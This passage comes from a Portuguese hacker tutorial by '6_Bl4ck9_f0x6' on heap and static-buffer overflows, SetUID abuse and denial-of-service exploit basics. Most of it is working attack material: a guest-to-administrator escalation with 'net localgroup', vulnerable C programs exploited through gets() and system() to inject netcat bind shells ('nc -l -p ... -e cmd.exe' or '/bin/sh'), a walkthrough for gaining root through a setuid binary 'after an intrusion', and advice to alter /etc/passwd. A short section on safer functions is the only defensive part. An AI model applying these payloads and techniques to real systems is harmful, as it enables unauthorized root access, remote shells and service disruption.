Meu nome e 6_Bl4ck9_f0x6net localgroup administradores convidado /add
Comando concluído com êxito.
C:\>net localgroup administradores
Nome de alias administradores
Comentário
Membros
-------------------------------------------------------------------------------
Administrador
Convidado
David
Comando concluído com êxito.
C:\>
O comando 'net localgroup administradores convidado /add' e' o comando que eleva os
privilegios da conta de convidado, nesse caso. 'net' (digite net /?' para ver um leque
de possibilidades que o windows dispoe) localgroup (parametro do utilitario 'net' que
visualiza e modifica informacoes sobre grupos) administradores (Grupo de 'admins')
convidado (nome da conta que pretendo inserir no grupo de admins) /add addiciona o
user convidado ao grupo de administradores.
Repare no seguinte:
Endereco fisico de pointer_one: 4007104
Endereco fisico de pointer_two: 4007128
O pointer2 comeca 24 bytes depois do primeiro, entao se digitarmos mais de 24 caracteres
(cada um equivalente a 1 byte) transbordaremos os enderecos na Heap.
Um exeplo mais explicativo:
Meu nome e 6_Bl4ck9_f0x6net...
0123456789ABCDEF01234567
Meu nome e 6_Bl4ck9_f0x6net...
123456789'123456789'1234
^________^^________^^__^
| | ||
10 bytes 10 bytes 4 bytes = 24. O 'n' estara' no endreco do comando.
Bem, ja que sabemos que a funcao system() executa o comando que esta' no endereco 4007128,
que esta' localizado ao lado do pointer_one, "ja que o mesmo foi declarado depois deste",
entao nos alcancamos o endereco de memoria deste sem misterio. Fuzzing 'TRADICIONAL' em
aplicacoes para descobertas de falhas de heap overflow ocorrem de maneira similar ao pro-
cesso de fuzzing em aplicacoes que se utilizam da stack, ou seja, se "debugarmos" uma
aplicacao que executa uma determinada acao no sistema se utilizando de system(), 'execl()'
ou alguma outra syscall similar que executa comandos 50 bytes (por exemplo) depois do
primeiro ponteiro declarado, basta corrompermos a memoria ate' encostarmos no endereco do
comando como usual.
Veja um exemplo:
-- heap_bug.c --
#include <stdio.h>
#include <stdlib.h>
main (){
char *pointer_1, *pointer_2, *pointer_3, *pointer_4, *pointer_5;
pointer_1 = (char *) malloc (10);
pointer_2 = (char *) malloc (10);
pointer_3 = (char *) malloc (10);
pointer_4 = (char *) malloc (10);
pointer_5 = (char *) malloc (10);
system ("cls & color a");
printf ("Endereco fisico de pointer_one: %d\n", pointer_1);
printf ("Endereco fisico de pointer_5 : %d\n", pointer_5);
puts ("");
sprintf (pointer_5, "echo Bem vindo a %s!", "Matrix");
puts ("\nMe diga seu nome:");
gets (pointer_1);
system (pointer_5);
}
-- cut here --
Endereco fisico de pointer_one: 4007104
Endereco fisico de pointer_5 : 4007200
Me diga seu nome:
Meu nome eh 6_Bl4ck9_f0x6 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
'!!!!!!!' não é reconhecido como um comando interno
ou externo, um programa operável ou um arquivo em lotes.
C:\Documents and Settings\David>
Voltaremos !!!!!!! (7) bytes. Volte 7 bytes e digite o comando. Pronto, o programa foi
explorado com sucesso. A comunidade de seguranca ja' divulgou diveras vulnerabilidades
em aplicacoes famosas como o sendmail que eram vulneraveis a esse tipo de falha.
Exploracao atraves de variaveis estaticas:
-- cut --
#include <stdio.h>
#include <stdlib.h>
main (){
static char name[20];
static char command[50];
system ("cls & color a");
printf ("Endereco fisico de name : %d\n", name);
printf ("Endereco fisico de command: %d\n", command);
puts (""); // To skip a line
sprintf (command, "echo Bem vindo a %s!", "Matrix");
puts ("\nMe diga seu nome:");
gets (name);
system (command);
}
-- cut this file here --
Endereco fisico de name : 4210704
Endereco fisico de command: 4210736
Me diga seu nome:
11111111111111111111111111111111nc -l -p 55 -vv -e cmd.exe
listening on [any] 55 ...
connect to [192.168.1.1] from VIOLATOR [192.168.1.1] 3022
Depois de um 'telnet IP PORTA':
Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\David>
Imagine insercoes de linhas no inetd nos Unixes com o comando 'echo'. Pois os privilegios
do programa tem muita probabilidade de ser de usuario root. Existem muitos sysops que se
utilizam do netcat como cliente para conexoes e inclusives distribuicoes Linux que dispo-
nibilizam o mesmo por default. Existem muitas formas de protecao, apenas uma sera'
descrita nesse documento. Observe que ao invez da utilizacao da funcao 'gets()' para a
obtencao e repasse de dados de usuarios para as variaveis, podemos utilizar a 'fgets()'
para tal, pois 'gets()' nao faz controle algum do numero de bytes a serem repassados para
a area de memoria reservada para a variavel.
Pequena tabela de funcoes perigosas e de funcoes que substituem as tais.
+-------------------+-------------------------------------------+
|Funcoes "perigosas"| Suposta solucao |
+-------------------+-------------------------------------------+
| sprintf() | snprintf(destino, numero_bts, origem); |
+-------------------+-------------------------------------------+
| gets() |char *fgets (char *str, int len, FILE *pt);|
+-------------------+-------------------------------------------+
| scanf() | Use especificadores de tamanho!! |
+-------------------+-------------------------------------------+
| strcpy() | strncpy() |
+-------------------+-------------------------------------------+
| strcat() | strncat() |
+-------------------+-------------------------------------------+
Todas as funcoes que copiam dados sao perigosas, e cabe a voce, se utilizar de
funcoes seguras para controle dos dados que serao copiados.
Observe:
-- cut --
#include <stdio.h>
#include <stdlib.h>
main (){
static char name[20];
static char command[50];
system ("cls & color a");
printf ("Endereco fisico de name : %d\n", name);
printf ("Endereco fisico de command: %d\n", command);
puts (""); // To skip a line
sprintf (command, "echo Bem vindo a %s!", "Matrix");
puts ("\nMe diga seu nome:");
fgets (name, 5, stdin); // <--- Note
system (command);
}
-- cut --
Me diga seu nome:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Bem vindo a Matrix!
C:\>
Ele vai copiar apenas 5 bytes para a variavel estatica 'name', impedindo a exploracao
deste programa.
6.0 - Entendendo o SetUID
O UID nada mais e', como o proprio nome ja da a entender (User IDentifier - IDentificador
de Usuario ou User IDentification - IDentificacao de usuario), um identificador de usua-
rios, todos os usuarios devidamente cadastratos em sistemas Unix/Linux possuem seu pro-
prio UID. O UID e' um numero frequentemente checado pelo Kernel (Nucleo do sistema) antes
de fazer determinadas operacoes. O UID '0' equivale a usuario root no Linux. Quando que-
remos adicionar um usuario no sistema por exemplo, o kernel verifica qual e' o 'UID' do
usuario que emitiu o comando adduser por exemplo (Comando p/ addicionar usarios ao siste-
ma), se ele checar o UID 0, ele deixar o usuario ser cadastrado nos arquivos /etc/passwd
e /etc/shadow (arquivos que gravam dados dos usuarios, como senhas e identificadores). Se
o UID do usuario emissor do comando adduser nao for '0', simplesmente temos um aviso de
permissao negada. Setuid e' bem simples de ser entendido, este e' o comando para marcar
arquivos com setuid:
chmod +s /caminho/do/programa
ls -l (long) fara' uma listagem completa do arquivo, voce vera' o 's' nas permissoes do
file (identificador de aplicacao setada com bit de super usuario).
6_Bl4ck9_f0x6@Vipera:~/Desktop$ sudo chmod u+s vulnerable
6_Bl4ck9_f0x6@Vipera:~/Desktop$ ls -l vulnerable
-rwsr-xr-x 1 root fox7 7558 2005-01-01 07:03 vulnerable
O dono do programa acima (vulnerable) e' o usuario root, para marcar o bit suid sobre
esse elf me utilizei do comando sudo, que possibilita a execucao de comandos como
super usuario, pois apenas usuario com 'UID 0' podem emitir o comando chmod com o
parametro +s (Que marca o bit suid). O que fiz acima foi setar o elf vulnerable para
"executar comandos como usuario root" sem precisar estar logado com tal usuario.
Observe o atributo 's' que representa o setuid, nesse caso o programa estara' com
permissoes de root. Se o programa adduser estivesse marcado com bitsuid ( seu dono
for root) voce podera' adicionar usuarios ao sistema como root. Para ver o UID de
usuarios digite o comando 'id' seguido do nome de usuario ou apenas 'id' para ver o
UID do usario corrente.
Exemplo:
6_Bl4ck9_f0x6@Black_Machine:-$ id
uid=1002(Black Fox) gid=1002(Black Fox) grupos=1002(Black Fox)
Acima estou logado como usuario Black_Fox, meu UID e' 1002, nao posso adicionar
usuarios ao sistema, porque meu UID nao e' zero. Digite 'su' (comando usado
para mudar o usuario atualmente logado) na shell (interpretador de comandos),
ele vai pedir senha, a digite e tecle [Enter], voce estara' como root e podera'
marcar bit suid em qualquer elf. Se quiser se logar com qualquer outra conta
basta digitar 'su outra_conta', se digitar apenas 'su', o Linux vai inferir que
voce quer se logar como root.
chmod +s /bin/adduser
Isso acima faz com que o 'EUID' do adduser seja setado como 0, que e' o UID do
user que emitiu o comando, que tambem e' dono da aplicacao (root).
-- Nota ---------------------------------------------------------------------
Na verdade nao vamos setar o "UID" do usuario corrente, pois programas que
trabalham com setuid continuam sendo executados com o 'UID' de seu usuario/
executor. O que acontece e' que quando executamos um programa marcado com
setuid, o Linux verificara' um atributo chamado 'EUID' - Efective User
IDentification, ou simplesmente identificador "DE EXECUCAO", que vai estar
setado com o UID de um usuario qualquer, '0' nesse caso. E' a IDentificacao
efetiva de usuario, que setaremos. Quando executamos arquivos, o kernel
verifica o UID do user, nao permitindo a execucao do elf caso a acao neces-
site de UID 0. Entao a verificacao do EUID - ID de execucao, do arquivo, que
sera' checada. Ainda existe o EGID que funciona de forma similar ao EUID, o
que difere e' que EGID e' a identificacao de execucao de grupo.
sh-3.1# id
uid=0(root) gid=1008(fox7) egid=0(root) grupos=1008(fox7)
-----------------------------------------------------------------------------
Para executar comandos com permissoes de root sem precisar ficar logado na conta,
basta digitar o parametro '-c' do 'su', este parametro executa um comando com
permissoes de um user e depois retorna ao user que chamou o comando.
Exemplo:
sh-3.1$ su root -c "comando"
Password:
Para fazer logout de uma conta acessada com o su basta que digite o comando exit para
voltar ao usuario anterior. Todos os hackers visam arquivos com setuid root, sendo
quase que obrigatorio uma busca com o find pelos mesmos no sistema apos uma invasao.
Os perigos que cercam aplicacoes com bitsuid sao bastante relevantes, tome como
exemplo uma 'app' vulneravel a Heap Overflow, ela tem o ID de execucao (EUID) igual a
'0', isso significa que podemos usar este programa para executar nossos comandos no
sistema com os privilegios de usuario root, explorando o mesmo. Procedimento esse
demonstrado anteriormente.
6.1 - .Movie
Temos acesso a uma conta nao privilegiada no sistema, de alguma forma estamos no
sistema. No Linux portas abaixo de 1024 apenas podem ser aberta por admins/root,
mas encontramos no sistema uma aplicacao com setuid root, ou seja, roda com o bit
'suid'. Esta aplicacao tem um bug de Heap Overflow.
Abrindo portas abaixo de 1024 com o netcat:
We have control on unprivileged account in the system, in Unix systems ports below
1024 only can be opened by root users (UID 0), but we found a application marked as
root by the sysadmin and this application has a bug, heap overflow.
Opening ports below 1024 with netcat:
sh-3.1$ pwd
/home/Black_Fox
sh-3.1$ bash
Black_Fox@Black_Machine:-$ id
uid=1002(Black Fox) gid=1002(Black Fox) grupos=1002(Black Fox)
Black_Fox@Black_Machine:-$ gcc -o overrun Buffer_Overrun.c
/tmp/ccC9ImLu.o: In function `main':
Buffer_Overrun.c:(.text+0x9b): warning: the `gets' function is dangerous and should not be
used.
Black_Fox@Black_Machine:-$ ls -la overrun
-rwxr-xr-x 1 Black_Fox Black_Fox 7811 2008-10-30 11:49 overrun
Black_Fox@Black_Machine:-$ su -c "chown root overrun; chmod +s overrun"
Password:
Black_Fox@Black_Machine:-$ ls -la overrun
-rwsr-sr-x 1 root Black_Fox 7811 2008-10-30 11:49 overrun
Black_Fox@Black_Machine:-$ nc -l -p 22 -vv -e /bin/sh
Can't grab 0.0.0.0:22 with bind : Permission denied
Black_Fox@Black_Machine:-$ ./overrun
Endereco de memoria do seu nick: 134520840
Endereco da msg de boas vindas : 134520856
Insira seu nick:6_Bl4ck9_f0x6
Bem vindo a Matrix
Black_Fox@Black_Machine:-$ ./overrun
Endereco de memoria do seu nick: 134520840
Endereco da msg de boas vindas : 134520856
Insira seu nick:6_Bl4ck9_f0x6 ->nc -l -p 22 -vv -e /bin/sh
listening on [any] 22 ...
[+1]+ Stopped ./overrun
Black_Fox@Black_Machine:-$ echo Obrigado
Obrigado
Black_Fox@Black_Machine:-$ fg 1
./overrun
********************************************************
[img] http://www.hunterhacker.xpg.com.br/heap.png [/img]
********************************************************
Voce podera' fazer diversas acoes maliciosas nos sistemas invadidos atraves de uma
aplicacao bugada, como inserir linhas no /etc/passwd ou fazer pequenas modificacoes
no mesmo, como alteracao de UIDs de usario ( setando-o(s) para '0' por exemplo).
Dependera' de seu nivel de conhecimento em Unixes em geral pois esse texto apenas
demonstra como ocorre e como explorar tal falha de seguranca. No proximo texto
demonstrarei tecnicas para descobertas de aplicacoes vulneraveis, que se utilizam
de execl(), system() e syscalls do genero.
7.0 - Desenvolvendo exploits de Denial of Service
Quando uma aplicacao retorna para um endereco de memoria invalido (stack overflow) ocorre
o fechamento da aplicacao. O que sera' descrito abaixo e' apenas um simples guia para o
desenvolvimento de ferramentas capazes de fechar servidores remotos, sem a minima pretencao
de exploracao para obtencao de shell ou bind de portas para um posterior acesso. Toda a ba-
se desses exploits (ou uma grande parte deles) escritos em C, e' a mesma. O memset(); - set
memory - setar memoria.
Prototipo:
memset (string_destino, 'caractere', numero_de_bytes_a_setar);
Isso equivale a setar a memoria no endereco da string de destino. A base dos exploits de
D.o.S (Como de overflow em geral) e' enviar um buffer muito grande, "normalmente" (quando
se trata de servidores de FTP) devemos mandar ('send()') o comando que nao gerencia dados
de forma adequada pela aplicacao servidora, ou seja, na aplicacao remota existe um buffer
que nao possui um limite de dados para alocacao na memoria, o que precisamos fazer e'
mandar dados de forma a lotar a area de memoria remota responsavel pela construcao do stack
frame de alguma funcao, com a pretencao de alcancarmos o endereco de retorno e faze-lo
retornar para uma regiao de memoria "invalida". Brevemente estarei lhes mostrando como
achar enderecos estaticos nas APIs para "exploracao" remota. Por hora o intuito e' der-
rubar o servidor, depois da emissao de muitos dados. Bem, como ja mencionado precisaremos
enviar um buffer suficientemente grande logo apos um comando ('por exemplo') interpretado
pelo servidor, assim fazendo um dado numero de bytes iniciais fazerem com que aja chamadas
para funcoes internas no programa, assim fazendo o mesmo entrar em crash (fechar), devido
ao nao controle do fluxo de dados para seus respectivos stack frames na memoria.
-- cut --
#include <stdio.h>
#include <string.h>
int caracters;
main (){
char setp[50]="The final result: ";
caracters=strlen (setp); // <-- Atribui o numero de bytes da variavel
memset (setp +caracters, 'S', 0x10); // 10 (hexadecinal) equivale a 16 em decimal
puts (setp); // Imprime o buffer na tela
system ("pause");
}
-- cut --
Result:
The final result: SSSSSSSSSSSSSSSS
Pressione qualquer tecla para continuar. . .
Nesse exemplo tenho um buffer local que suporta 50 bytes, poderia enviar o comando seguido
do buffer cheio de S's, mas para isso teria que usar a funcao memset e determinar o numero
de bytes logo apos o comando, caso contrario o 'memset()' sobrescrevereria o comando, veja
este trecho:
caracters=strlen (setp);
Note que pego o numero de bytes da variavel setp.
memset (setp +caracters, 'S', 0x10);
Comeco a setar a memoria a partir do numero de bytes definido na variavel caracteres.
Utilizo no primeiro parametro da funcao o '+caracteres', ou seja, o exploit escrevera'
no buffer de destino 'a partir' do numero de letras da variavel. Espacos em branco entre
uma palavra e outra na mesma string equivalem a caracteres. Veja:
char exemplo[]="ABOR ";
Veja que existe um espaco depois da letra 'R'. Existe uma versao do Sami FTP vulneravel
a este comando seguido de muitos bytes (Stack Overflow), como tantos outros servidores.
8.0 - Useful links and reference
http://undergroundsecurityresources.blogspot.com/
============================================================
Tutorial Basico do gcc e entendendo as etapas de compilacao
Link: http://www.usrfiles.xpg.com.br/gcc_tuto_2.txt
------------------------------------------------------------
Buffer Overflow by Andre Pau No Cuh Amorim
Parte1:
Link: http://www.hunterhacker.xpg.com.br/Pen1.rar
Senha: paunocuh
Parte2:
Link: http://www.hunterhacker.xpg.com.br/Pen2.rar
Senha: paunocuh
Acesse: www.metasploit-br.org
============================================================
Um cordial abraco.
[]`s
by
6_Bl4ck9_f0x6 - Viper Corp Group